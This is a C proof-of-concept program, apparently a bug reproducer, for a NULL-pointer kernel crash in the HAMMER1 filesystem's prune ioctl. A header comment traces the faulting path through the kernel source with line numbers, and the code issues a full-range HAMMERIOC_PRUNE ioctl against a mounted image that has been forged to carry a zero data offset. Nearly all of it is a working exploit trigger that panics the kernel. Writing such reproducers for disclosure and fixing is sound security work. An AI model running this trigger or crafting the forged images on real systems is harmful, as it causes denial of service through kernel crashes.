DF-3223 / trigger_prune.c
/* * DF-3223 trigger: HAMMERIOC_PRUNE (HAMMER_IOC_PRUNE_ALL) over the full * PFS#0 key range on a HAMMER1 filesystem whose live inode record was * forged offline to carry data_offset == 0. * * hammer_ioc_prune() (sys/vfs/hammer/hammer_prune.c) walks the B-Tree in * reverse; for every record that prune_should_delete() does NOT delete it * calls prune_check_nlinks() (:321). For a live INODE record that helper * calls hammer_btree_extract_data(cursor) (:330), which for data_offset==0 * returns 0 *leaving cursor->data == NULL* (hammer_btree.c:730-731, before * the CRC gate), and then dereferences cursor->data->inode.nlinks (:332) * -> NULL+0x48 kernel-mode read -> fatal trap 12. * * The ioctl is privilege-gated (caps_priv_check(SYSCAP_NOVFS_IOCTL) in * hammer_ioctl.c:72), matching the crafted-image threat model: root mounts * an untrusted image (removable media / forensic image / mirrored stream) * and runs `hammer prune` / `hammer cleanup` (or this ioctl). * * usage: ./trigger_prune <mounted-hammer-dir> (run as root, RW mount) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <errno.h> #include <unistd.h> #include <sys/ioctl.h> #include "hammer_ioctl.h" int main(int argc, char **argv) { struct hammer_ioc_prune prune; int fd, r; if (argc != 2) { fprintf(stderr, "usage: %s <hammer-dir>\n", argv[0]); exit(2); } memset(&prune, 0, sizeof(prune)); prune.head.flags = HAMMER_IOC_PRUNE_ALL; /* no elms array used */ prune.nelms = 0; prune.elms = malloc(64); /* never dereferenced */ /* full PFS#0 key range: localization types 0..2, all obj_ids/keys */ prune.key_beg.localization = 0; prune.key_beg.obj_id = -0x7FFFFFFFFFFFFFFFLL - 1; prune.key_end.localization = 2; /* HAMMER_LOCALIZE_MISC */ prune.key_end.obj_id = 0x7FFFFFFFFFFFFFFFLL; fd = open(argv[1], O_RDONLY); if (fd < 0) { perror("open"); exit(2); } printf("trigger: HAMMERIOC_PRUNE (PRUNE_ALL, full range) on %s " "uid=%d\n", argv[1], getuid()); fflush(stdout); r = ioctl(fd, HAMMERIOC_PRUNE, &prune); printf("ioctl returned %d errno=%d (%s)\n", r, errno, strerror(errno)); printf("scanrecords=%jd rawrecords=%jd dirrecords=%jd bytes=%jd " "oldest_tid=%016jx\n", (intmax_t)prune.stat_scanrecords, (intmax_t)prune.stat_rawrecords, (intmax_t)prune.stat_dirrecords, (intmax_t)prune.stat_bytes, (uintmax_t)prune.stat_oldest_tid); return (0); } |